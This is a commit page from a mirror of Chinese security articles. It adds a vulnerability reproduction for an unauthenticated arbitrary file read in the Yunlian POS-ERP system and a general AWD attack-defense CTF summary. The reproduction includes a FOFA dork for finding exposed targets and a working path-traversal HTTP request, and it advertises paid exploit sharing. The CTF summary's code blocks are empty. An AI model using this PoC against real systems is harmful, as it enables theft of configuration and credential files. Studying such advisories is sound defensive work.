mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp、关于AWD的小结、「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞、
This commit is contained in:
1 parent
39f604c643
commit
0946128ccb
4 files changed
+2206
-1
No files matched your search
@@ -1913,5 +1913,8 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyODY3NjkyNQ==&mid=2247484401&idx=1&sn=71dcfb268f5852a19c75d24153bb827e": "【首发1day详情】CVE-2024-51479 全网首发漏洞复现分析+POC (Next.js权限绕过)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyODcwOTA4NA==&mid=2247487524&idx=1&sn=0ba60c7c544d38db55c6cc9723985528": "【首发1day详情】CVE-2024-51479 全网首发漏洞复现分析+POC (Next.js权限绕过)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUxMTk4OTA1NQ==&mid=2247484851&idx=1&sn=52c5df6c1e8f7e240e5d705a9adb8fbc": "【漏洞复现】CVE-2024-50623",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066819&idx=2&sn=d36a351bfabba8d719c29fa871c22b3c": "【安全圈】FortiWLM 曝关键漏洞,攻击者可获得管理员权限"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066819&idx=2&sn=d36a351bfabba8d719c29fa871c22b3c": "【安全圈】FortiWLM 曝关键漏洞,攻击者可获得管理员权限",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMDc5NDQ4OA==&mid=2247494604&idx=1&sn=e708788215b2043d657d20c4aab45fde": "2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAwNTc5MTMyNg==&mid=2247500072&idx=1&sn=2b761dedd7c1caedbe68c644c1292ec6": "关于AWD的小结",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486453&idx=1&sn=c80d52031a23f7939f932cb30817a4d7": "「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞"
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,125 @@
|
||||
# 「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞
|
||||
冷漠安全 冷漠安全 2024-12-22 02:58
|
||||
|
||||

|
||||
|
||||
0x01 免责声明
|
||||
|
||||
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
|
||||
|
||||
0x02
|
||||
|
||||
产品介绍
|
||||
|
||||
云连POS-ERP管理系统作为一种综合的管理软件,旨在为企业提供全面、高效的业务管理解决方案。基于云计算技术,集POS收银与ERP管理功能于一体的综合管理系统。它通过网络对企业的各类信息进行集中、统一和实时的管理,帮助企业实现销售、库存、财务等业务的全面数字化管理。系统具有用户友好的操作界面和简单直观的操作流程,使得用户可以快速上手并熟练使用。同时,系统还提供了多种数据导出方式,方便用户实时导出各类报表、销售数据、库存数据等,极大地提高了工作效率。
|
||||
|
||||
0x03
|
||||
|
||||
漏洞威胁
|
||||
|
||||
云连POS-ERP管理系统 download.action 存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
|
||||
|
||||
0x04
|
||||
|
||||
漏洞环境
|
||||
|
||||
FOFA:
|
||||
|
||||
```
|
||||
title="Powered By chaosZ"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
0x05
|
||||
|
||||
漏洞复现
|
||||
|
||||
PoC
|
||||
```
|
||||
POST /admin/file!download.action;admin!login.action HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
|
||||
downloadFile=../../WEB-INF/web.xml
|
||||
```
|
||||
|
||||

|
||||
|
||||
0x06
|
||||
|
||||
批量脚本验证
|
||||
|
||||
Nuclei验证脚本已发布
|
||||
|
||||
知识星球:冷漠安全
|
||||
|
||||

|
||||
|
||||
|
||||
0x07
|
||||
|
||||
修复建议
|
||||
|
||||
关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
升级至安全版本或打补丁
|
||||
|
||||
0x08
|
||||
|
||||
加入我们
|
||||
|
||||
漏洞详情及批量检测POC工具请前往知识星球获取
|
||||
|
||||
知识星球:冷漠安全
|
||||
|
||||
交个朋友,限时优惠券:加入立减25
|
||||
|
||||
星球福利:每天更新最新漏洞POC、资料文献、内部工具等
|
||||
|
||||

|
||||
|
||||
|
||||
「星球介绍」:
|
||||
|
||||
本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。
|
||||
|
||||
本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。
|
||||
|
||||
本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。
|
||||
|
||||
|
||||
「星球服务」:
|
||||
|
||||
|
||||
加入星球,你会获得:
|
||||
|
||||
|
||||
♦ 批量验证漏洞POC脚本
|
||||
|
||||
|
||||
♦ 0day、1day分享
|
||||
|
||||
|
||||
♦ 汇集其它付费星球资源分享
|
||||
|
||||
|
||||
♦ 大量的红蓝对抗实战资源
|
||||
|
||||
|
||||
♦ 优秀的内部红蓝工具及插件
|
||||
|
||||
|
||||
♦ 综合类别优秀Wiki文库及漏洞库
|
||||
|
||||
|
||||
♦ 提问及技术交流
|
||||
|
||||

|
||||
|
||||
|
||||
+263
@@ -0,0 +1,263 @@
|
||||
# 关于AWD的小结
|
||||
原创 cha0s Gh0xE9 2024-12-22 12:27
|
||||
|
||||
# 比赛规则
|
||||
- 比赛:指从开始到结束的一整场比赛过程。
|
||||
|
||||
- 轮:指一个单独的时间区间,分数计算的最小周期,一般为 10 分钟。 一场比赛由许多轮组成,可以理解为:总轮数 = 比赛总时长 / 单轮时长
|
||||
。
|
||||
|
||||
- 选手:指比赛的参赛队伍,通常是一个 3-5 人的团队。
|
||||
|
||||
- 题目:比赛的试题,对应着传统 Jeopardy 模式中的一道道题目。
|
||||
|
||||
- 靶机:AWD 模式中,对于每一道题目,每个选手都会有一个自己的独立靶机,上面运行着这个题目的环境。
|
||||
|
||||
- Check:为了检测选手的靶机服务以及功能是否能够正常运行,主办方会不定期运行 Check,(通常是一段自动请求并验证的脚本)用以检测服务可用性。检测到服务不可用,功能不全的靶机,其所属队伍将被扣分。(Check 的存在,是为了防止选手故意删站,或部署通防来使得攻击方无法对其靶机进行攻击,从而达到所谓“绝对的防御”)
|
||||
|
||||
- 服务宕机 / CheckDown:指选手的靶机服务不可用,或功能不全。
|
||||
|
||||
# 常见awd思路
|
||||
|
||||
(当作参考)
|
||||
## 1.靶机登陆
|
||||
|
||||
一般来说有两种登陆方式:
|
||||
- rsa公钥登陆
|
||||
|
||||
- 用户名/密码登陆
|
||||
|
||||
使用xshell的话,那存在一个选择公钥的选项,可以直接登陆。
|
||||
|
||||
mobaxterm似乎是还要了解一下 ssh公钥登陆的命令
|
||||
### 1.1 登陆后的思路
|
||||
#### 1.1.1 修改默认密码
|
||||
- ssh是弱口令要记得修改密码
|
||||
|
||||
- 如果又权限进入mysql,也需要修改密码
|
||||
|
||||
#### 1.1.2 信息备份
|
||||
|
||||
1.tar备份
|
||||
```
|
||||
tar -zvxf /tmp/www.tar.gz /var/www/html/
|
||||
```
|
||||
|
||||
scp备份
|
||||
```
|
||||
scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash
|
||||
```
|
||||
|
||||
修改源码的时候,可以利用vscode远程连接
|
||||
|
||||
或者是利用vi
|
||||
|
||||
2.mysql备份
|
||||
```
|
||||
```
|
||||
## 2.defence
|
||||
|
||||
**1.查询操作**
|
||||
- 因为tar是不会备份隐藏文件的,所以需要ls -al查看一下是否存在后门
|
||||
|
||||
- 用d盾或者seay查看一下是否存在预留的一句话木马
|
||||
|
||||
- 利用grep -r "xxx" /var/www/html/ 查看一下是否有默认文件存在flag
|
||||
|
||||
- 检测端口暴露的情况(3306..),如果MySQL的端口暴露,记得修改一下默认密码(也要修改php/java代码中的连接代码)
|
||||
|
||||
- 查看有没有后门账户
|
||||
|
||||
**2.脚本部署**
|
||||
- 日志监控部署(非必要:有些比赛主办方会提供流量)
|
||||
|
||||
- waf部署(有时候waf会被check扣分,所有要看情况。主办方有可能也有要求不能上)
|
||||
|
||||
- 文件监控(一般来说是需要在waf部署之后再部署)
|
||||
|
||||
## 3.Attack
|
||||
- 抄作业(看流量、别人留的后门可以上车。一句话密码可能是md5的,或许需要网上解码一下。如果是主办方要求不能上网:但是还是一屋子的iphone、honor...你晓得吧?)
|
||||
|
||||
- 代码审计
|
||||
|
||||
- 权限维持
|
||||
|
||||
- 利用脚本快速得分(最好是不要一个一个flag交,非常狼狈(
|
||||
|
||||
## 4.详细步骤
|
||||
### 4.1 目标确定
|
||||
1. 主办方提供**网络拓扑和端口范围**
|
||||
|
||||
1. 攻击机、靶机、check 服务器
|
||||
|
||||
1.1 确定端口
|
||||
```
|
||||
```
|
||||
|
||||
1.2 确定其他目标(扫描c段)
|
||||
```
|
||||
```
|
||||
1. 主办方提供端口和ip且ip是连续的
|
||||
|
||||
1. 直接打就完事了
|
||||
|
||||
### 4.2 代码审计
|
||||
|
||||
一般来说很可能会遇到一些tp、yii、laravel二次开发的框架,如果平时也有在收集这些链子的话可能也会用得到。
|
||||
|
||||
一般来说因为awd时间短,且代码量多所以考核的题目应该也不会太难
|
||||
- 漏洞类型
|
||||
|
||||
1.预置后门
|
||||
```
|
||||
```
|
||||
|
||||
如果是ctf用户:最好是就修改一下连接密码就好,留一个预置后门。(直接用蚁剑连接操作作也不是不行
|
||||
|
||||
2.文件上传
|
||||
- 直接使用白名单文件上传
|
||||
|
||||
3.SQL注入
|
||||
- SQL注入
|
||||
|
||||
- 防御方式:转义 ' " 、确认页面编码和数据库编码统一(基本上过滤90%
|
||||
|
||||
- SQL写shell
|
||||
|
||||
- MySQL端口暴露
|
||||
|
||||
- 关闭端口暴露或者是修改默认的MySQL密码(注意配置文件也要修改
|
||||
|
||||
4.反序列化
|
||||
- 加过滤,匹配语句类型或者关键字
|
||||
|
||||
6.xxe
|
||||
- 禁止引用外部dtd
|
||||
|
||||
7.代码执行
|
||||
- 过滤一些关键函数
|
||||
|
||||
8.文件遍历
|
||||
- 过滤关键字
|
||||
|
||||
### 4.3 权限维持
|
||||
#### 4.3.1 文件读取操作
|
||||
|
||||
我认为权限维持有时候也没办要写不死马之类的,不过 要是所有操作一起上了也不是不行(
|
||||
|
||||
条件允许的话也可以在**一些**
|
||||
php、js脚本文件,直接写一个读取flag文件的操作也可以在返回的header中(也不容易被发现
|
||||
```
|
||||
```
|
||||
#### 4.3.2 不死马
|
||||
|
||||
一般来说,都是通过定时任务不断的写shell达到"不死马"这个操作
|
||||
- php不死马
|
||||
|
||||
```
|
||||
```
|
||||
- Linux定时任务写马
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
如果被种马了,怎么防御?
|
||||
- 杀进程后重启服务
|
||||
|
||||
- 写一个同名的文件夹
|
||||
|
||||
- 写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
|
||||
|
||||
#### 4.3.3 定时任务
|
||||
- 使用定时任务发送带有flag的请求
|
||||
|
||||
```
|
||||
```
|
||||
- 使用定时任务反弹shell
|
||||
|
||||
- bash
|
||||
|
||||
```
|
||||
```
|
||||
- python
|
||||
|
||||
```
|
||||
```
|
||||
- php
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
如果因为定时任务一直失分咋办?
|
||||
- 杀进程(ps -ef / px -aux)
|
||||
|
||||
一般/bin/sh是nc服务
|
||||
```
|
||||
```
|
||||
|
||||
如果是ctf权限的话,那只能写个马执行这个命令
|
||||
#### 4.3.4 宕机
|
||||
|
||||
如果遇到不得不宕机的情况可以使用
|
||||
```
|
||||
```
|
||||
### 4.4 关于脚本
|
||||
#### 4.4.1.上传waf
|
||||
|
||||
check机制可能会check到waf过滤的参数,导致宕机(所以上床waf要慎重
|
||||
```
|
||||
```
|
||||
|
||||
可以在upload目录下写.htaccess禁止php文件执行
|
||||
```
|
||||
```
|
||||
#### 4.4.2.主板方提供流量
|
||||
|
||||
可以使用wireshark
|
||||
|
||||
基础用法:
|
||||
- 过滤IP地址
|
||||
|
||||
> ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包
|
||||
|
||||
- 过滤端口
|
||||
|
||||
> tcp.port eq 80 #不管端口是来源还是目的都显示80端口tcp.port == 80tcp.port eq 2722tcp.port eq 80 or udp.port eq 80tcp.dstport == 80 #只显示tcp协议的目标端口80tcp.srcport == 80 #只显示tcp协议的来源端口80udp.port eq 15000tcp.port >= 1 and tcp.port <= 80 #过滤端口范围
|
||||
|
||||
- 过滤MAC地址
|
||||
|
||||
> eth.dst == MAC地址 #过滤目标MACeth.src eq MAC地址 #过滤来源MAC3.eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的
|
||||
|
||||
- http请求方式过滤
|
||||
|
||||
> http.request.method == “GET”2.http.request.method == “POST”3.http.host mathes “www.baidu.com|http://baidu.cn“ #matches可以写多个域名http.host contains “http://www.baidu.com“ #contain只能写一个域名http contains “GET”
|
||||
|
||||
|
||||
多条过滤语句执行:
|
||||
```
|
||||
```
|
||||
#### 4.4.3.文件监控
|
||||
|
||||
如果靶机没有python环境,那还需要在安装一下
|
||||
```
|
||||
```
|
||||
## 参考文章
|
||||
|
||||
https://www.anquanke.com/post/id/245158#h3-19
|
||||
|
||||
https://justloseit.top/AWD%20%E8%B5%9B%E5%89%8D%E5%87%86%E5%A4%87/
|
||||
|
||||
https://linux.cn/article-5685-1-rss.html
|
||||
|
||||
https://qftm.github.io/2019/08/03/AWD-Bugs-Fix/#toc-heading-22
|
||||
|
||||
https://github.com/sharpleung/CTF-WAF
|
||||
|
||||
点击收藏
|
||||
|
|
||||
3
|
||||
关注
|
||||
|
|
||||
4
|
||||
打赏
|
||||
|
||||
Reference in new issue
Block a user